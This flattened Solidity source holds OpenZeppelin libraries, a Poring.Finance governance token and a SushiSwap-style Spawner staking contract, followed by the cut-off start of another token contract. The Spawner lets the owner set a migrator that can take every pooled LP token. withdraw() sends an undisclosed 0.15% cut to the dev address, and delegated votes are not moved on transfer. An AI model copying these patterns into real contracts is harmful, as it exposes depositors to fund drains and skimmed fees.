true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/PoringToken.sol pragma solidity ^0.6.2; // PoringToken with Governance. contract PoringToken is ERC20("Poring.Finance", "PRNG"), Ownable { // START OF PORING SPECIFIC CODE // poring is an exact copy of sushi using SafeMath for uint256; function transfer(address recipient, uint256 amount) public virtual override returns (bool) { return super.transfer(recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { return super.transferFrom(sender, recipient, amount); } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (Spawner). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "PORING::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "PORING::delegateBySig: invalid nonce"); require(now <= expiry, "PORING::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "PORING::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying PORINGs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "PORING::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts/Spawner.sol pragma solidity ^0.6.2; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to PoringSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // PoringSwap must mint EXACTLY the same amount of PoringSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // Spawner is an exact copy of SushiSwap // we have commented an few lines to remove the dev fund // the rest is exactly the same // Spawner is the master of Poring. He can make Poring and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once PORING is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract Spawner is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of PORINGs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accPoringPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accPoringPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. PORINGs to distribute per block. uint256 lastRewardBlock; // Last block number that PORINGs distribution occurs. uint256 accPoringPerShare; // Accumulated PORINGs per share, times 1e12. See below. } // The PORING TOKEN! PoringToken public poring; // Dev address. address public devaddr; // Block number when bonus PORING period ends. uint256 public bonusEndBlock; // PORING tokens created per block. uint256 public poringPerBlock; // Bonus muliplier for early poring makers. uint256 public constant BONUS_MULTIPLIER = 10; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when PORING mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( PoringToken _poring, address _devaddr, uint256 _poringPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { poring = _poring; devaddr = _devaddr; poringPerBlock = _poringPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPoringPerShare: 0 })); } // Update the given pool's PORING allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending PORINGs on frontend. function pendingPoring(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accPoringPerShare = pool.accPoringPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 poringReward = multiplier.mul(poringPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accPoringPerShare = accPoringPerShare.add(poringReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accPoringPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 poringReward = multiplier.mul(poringPerBlock).mul(pool.allocPoint).div(totalAllocPoint); poring.mint(devaddr, poringReward.div(10)); poring.mint(address(this), poringReward); pool.accPoringPerShare = pool.accPoringPerShare.add(poringReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to Spawner for PORING allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accPoringPerShare).div(1e12).sub(user.rewardDebt); safePoringTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accPoringPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from Spawner. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accPoringPerShare).div(1e12).sub(user.rewardDebt); safePoringTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accPoringPerShare).div(1e12); uint256 _amount_tax = _amount.mul(15).div(10000); uint256 _amount_aft_tax = _amount.sub(_amount_tax); pool.lpToken.safeTransfer(address(devaddr), _amount_tax); emit Withdraw(devaddr, _pid, _amount_tax); pool.lpToken.safeTransfer(address(msg.sender), _amount_aft_tax); emit Withdraw(msg.sender, _pid, _amount_aft_tax); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe poring transfer function, just in case if rounding error causes pool to not have enough PORINGs. function safePoringTransfer(address _to, uint256 _amount) internal { uint256 poringBal = poring.balanceOf(address(this)); if (_amount > poringBal) { poring.transfer(_to, poringBal); } else { poring.transfer(_to, _amount); } } // Update dev address by the owner. function dev(address _devaddr) public onlyOwner { devaddr = _devaddr; } }

True

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// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by 